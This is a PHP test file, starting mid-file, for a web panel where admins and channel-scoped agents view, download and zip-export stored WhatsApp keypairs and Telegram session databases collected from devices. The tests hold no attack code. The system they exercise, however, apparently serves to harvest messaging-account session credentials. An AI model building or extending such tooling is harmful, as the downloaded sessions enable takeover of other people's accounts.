create(['username' => 'admin', 'password' => 'admin123']); $device = Device::query()->create([ 'device_id' => 'dev-sess', 'channel_id' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', 'has_whatsapp' => true, 'has_telegram' => true, ]); PluginSession::query()->create([ 'device_id' => $device->id, 'device_key' => $device->device_id, 'kind' => PluginSession::KIND_WHATSAPP, 'account_id' => '15551230000', 'phone' => '15551230000', 'payload' => [ 'userId' => '15551230000', 'nickname' => 'wa-nick', 'whatsappVersion' => '2.24.0', 'clientStaticKeypairBase64' => 'QUJD', ], ]); PluginSession::query()->create([ 'device_id' => $device->id, 'device_key' => $device->device_id, 'kind' => PluginSession::KIND_TELEGRAM, 'account_id' => '987654', 'payload' => [ 'user_id' => '987654', 'state' => ['records' => []], 'db_sqlite' => str_repeat('A', 400), ], ]); $this->actingAs($admin, 'admin') ->get(route('admin.whatsapp.index')) ->assertOk() ->assertSee('WS 参数'); $this->actingAs($admin, 'admin') ->getJson(route('admin.whatsapp.data')) ->assertOk() ->assertJsonPath('count', 1) ->assertJsonPath('data.0.account_id', '15551230000') ->assertJsonPath('data.0.nickname', 'wa-nick') ->assertJsonPath('data.0.has_keystore', true) ->assertJsonMissingPath('data.0.payload_json'); $tg = $this->actingAs($admin, 'admin') ->getJson(route('admin.telegram.data')) ->assertOk() ->assertJsonPath('count', 1) ->assertJsonPath('data.0.account_id', '987654') ->assertJsonPath('data.0.has_db', true) ->json(); $this->assertArrayNotHasKey('payload_json', $tg['data'][0] ?? []); $tgPayload = $this->actingAs($admin, 'admin') ->getJson(route('admin.sessions.payload', PluginSession::query()->where('kind', PluginSession::KIND_TELEGRAM)->first())) ->assertOk() ->json('data.payload_json'); $this->assertStringContainsString(str_repeat('A', 400), (string) $tgPayload); $this->assertStringNotContainsString('400 bytes', (string) $tgPayload); $tgRow = PluginSession::query()->where('kind', PluginSession::KIND_TELEGRAM)->first(); $download = $this->actingAs($admin, 'admin') ->get(route('admin.sessions.download', $tgRow)) ->assertOk(); $this->assertStringContainsString('attachment', (string) $download->headers->get('content-disposition')); $this->assertStringContainsString(str_repeat('A', 400), $download->streamedContent()); } #[Test] public function agent_only_sees_own_channel_sessions(): void { $agentA = User::query()->create(['username' => 'a', 'password' => 'secret12', 'status' => 1]); $agentB = User::query()->create(['username' => 'b', 'password' => 'secret12', 'status' => 1]); $chA = 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb'; $chB = 'cccccccccccccccccccccccccccccccc'; Channel::query()->create(['channel_id' => $chA, 'user_id' => $agentA->id, 'status' => 1]); Channel::query()->create(['channel_id' => $chB, 'user_id' => $agentB->id, 'status' => 1]); $devA = Device::query()->create(['device_id' => 'dev-a', 'channel_id' => $chA]); $devB = Device::query()->create(['device_id' => 'dev-b', 'channel_id' => $chB]); PluginSession::query()->create([ 'device_id' => $devA->id, 'device_key' => 'dev-a', 'kind' => PluginSession::KIND_TELEGRAM, 'account_id' => 'aaa', 'payload' => ['user_id' => 'aaa'], ]); PluginSession::query()->create([ 'device_id' => $devB->id, 'device_key' => 'dev-b', 'kind' => PluginSession::KIND_TELEGRAM, 'account_id' => 'bbb', 'payload' => ['user_id' => 'bbb'], ]); $this->actingAs($agentA, 'agent') ->getJson(route('user.telegram.data')) ->assertOk() ->assertJsonPath('count', 1) ->assertJsonPath('data.0.account_id', 'aaa'); $own = PluginSession::query()->where('account_id', 'aaa')->first(); $other = PluginSession::query()->where('account_id', 'bbb')->first(); $this->actingAs($agentA, 'agent') ->getJson(route('user.sessions.payload', $own)) ->assertOk() ->assertJsonPath('code', 0); $this->actingAs($agentA, 'agent') ->getJson(route('user.sessions.payload', $other)) ->assertForbidden(); $this->actingAs($agentA, 'agent') ->get(route('user.sessions.download', $own)) ->assertOk(); $this->actingAs($agentA, 'agent') ->get(route('user.sessions.download', $other)) ->assertForbidden(); } #[Test] public function admin_can_export_sessions_as_zip(): void { Storage::fake('local'); $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']); $device = Device::query()->create([ 'device_id' => 'dev-export', 'channel_id' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', ]); PluginSession::query()->create([ 'device_id' => $device->id, 'device_key' => $device->device_id, 'kind' => PluginSession::KIND_TELEGRAM, 'account_id' => '111', 'payload' => ['user_id' => '111', 'state' => 'abc'], ]); PluginSession::query()->create([ 'device_id' => $device->id, 'device_key' => $device->device_id, 'kind' => PluginSession::KIND_TELEGRAM, 'account_id' => '222', 'payload' => ['user_id' => '222', 'state' => 'def'], ]); $resp = $this->actingAs($admin, 'admin') ->get(route('admin.sessions.export', ['kind' => '1'])) ->assertOk(); $this->assertStringContainsString('attachment', (string) $resp->headers->get('content-disposition')); $this->assertSame('application/zip', $resp->headers->get('content-type')); $this->assertSame('2', $resp->headers->get('x-export-count')); // Verify the ZIP contains two JSON files. $body = $resp->streamedContent(); $tmp = tempnam(sys_get_temp_dir(), 'test_zip_'); file_put_contents($tmp, $body); $zip = new \ZipArchive(); $this->assertTrue($zip->open($tmp) === true); $this->assertSame(2, $zip->numFiles); $names = []; for ($i = 0; $i < $zip->numFiles; $i++) { $names[] = $zip->getNameIndex($i); } $zip->close(); @unlink($tmp); $this->assertCount(2, $names); foreach ($names as $name) { $this->assertStringContainsString('tg-', $name); $this->assertStringEndsWith('.json', $name); } } #[Test] public function export_returns_error_when_no_data(): void { $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']); $this->actingAs($admin, 'admin') ->getJson(route('admin.sessions.export', ['kind' => '1'])) ->assertStatus(422) ->assertJsonPath('code', 1); } #[Test] public function list_and_export_respect_created_date_range(): void { Storage::fake('local'); $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']); $device = Device::query()->create([ 'device_id' => 'dev-range', 'channel_id' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', ]); $old = Carbon::now()->subDays(10)->startOfDay(); $mid = Carbon::now()->subDays(2)->startOfDay(); $new = Carbon::now()->startOfDay(); foreach ([['id' => 'old', 'at' => $old], ['id' => 'mid', 'at' => $mid], ['id' => 'new', 'at' => $new]] as $row) { $session = PluginSession::query()->create([ 'device_id' => $device->id, 'device_key' => $device->device_id, 'kind' => PluginSession::KIND_TELEGRAM, 'account_id' => $row['id'], 'payload' => ['user_id' => $row['id']], ]); // created_at is guarded, so set it directly on the model and save. $session->created_at = $row['at']; $session->updated_at = $row['at']; $session->save(); } $ymd = static fn (Carbon $c) => $c->format('Y-m-d'); // from = mid day => only mid + new remain (old excluded). $this->actingAs($admin, 'admin') ->getJson(route('admin.telegram.data', ['created_from' => $ymd($mid)])) ->assertOk() ->assertJsonPath('count', 2); // to = mid day => only old + mid remain (new excluded). $this->actingAs($admin, 'admin') ->getJson(route('admin.telegram.data', ['created_to' => $ymd($mid)])) ->assertOk() ->assertJsonPath('count', 2); // both = exactly mid day => only mid remains. $this->actingAs($admin, 'admin') ->getJson(route('admin.telegram.data', [ 'created_from' => $ymd($mid), 'created_to' => $ymd($mid), ])) ->assertOk() ->assertJsonPath('count', 1) ->assertJsonPath('data.0.account_id', 'mid'); // Export honors the same range and reports the narrowed count. $resp = $this->actingAs($admin, 'admin') ->get(route('admin.sessions.export', [ 'kind' => '1', 'created_from' => $ymd($mid), 'created_to' => $ymd($mid), ])) ->assertOk(); $this->assertSame('1', $resp->headers->get('x-export-count')); } #[Test] public function agent_export_respects_channel_scope(): void { Storage::fake('local'); $agentA = User::query()->create(['username' => 'a', 'password' => 'secret12', 'status' => 1]); $chA = 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb'; $chB = 'cccccccccccccccccccccccccccccccc'; Channel::query()->create(['channel_id' => $chA, 'user_id' => $agentA->id, 'status' => 1]); Channel::query()->create(['channel_id' => $chB, 'user_id' => User::query()->create(['username' => 'b', 'password' => 'secret12', 'status' => 1])->id, 'status' => 1]); $devA = Device::query()->create(['device_id' => 'dev-a', 'channel_id' => $chA]); $devB = Device::query()->create(['device_id' => 'dev-b', 'channel_id' => $chB]); PluginSession::query()->create([ 'device_id' => $devA->id, 'device_key' => 'dev-a', 'kind' => PluginSession::KIND_TELEGRAM, 'account_id' => 'aaa', 'payload' => ['user_id' => 'aaa'], ]); PluginSession::query()->create([ 'device_id' => $devB->id, 'device_key' => 'dev-b', 'kind' => PluginSession::KIND_TELEGRAM, 'account_id' => 'bbb', 'payload' => ['user_id' => 'bbb'], ]); $resp = $this->actingAs($agentA, 'agent') ->get(route('user.sessions.export', ['kind' => '1'])) ->assertOk(); $this->assertSame('1', $resp->headers->get('x-export-count')); } }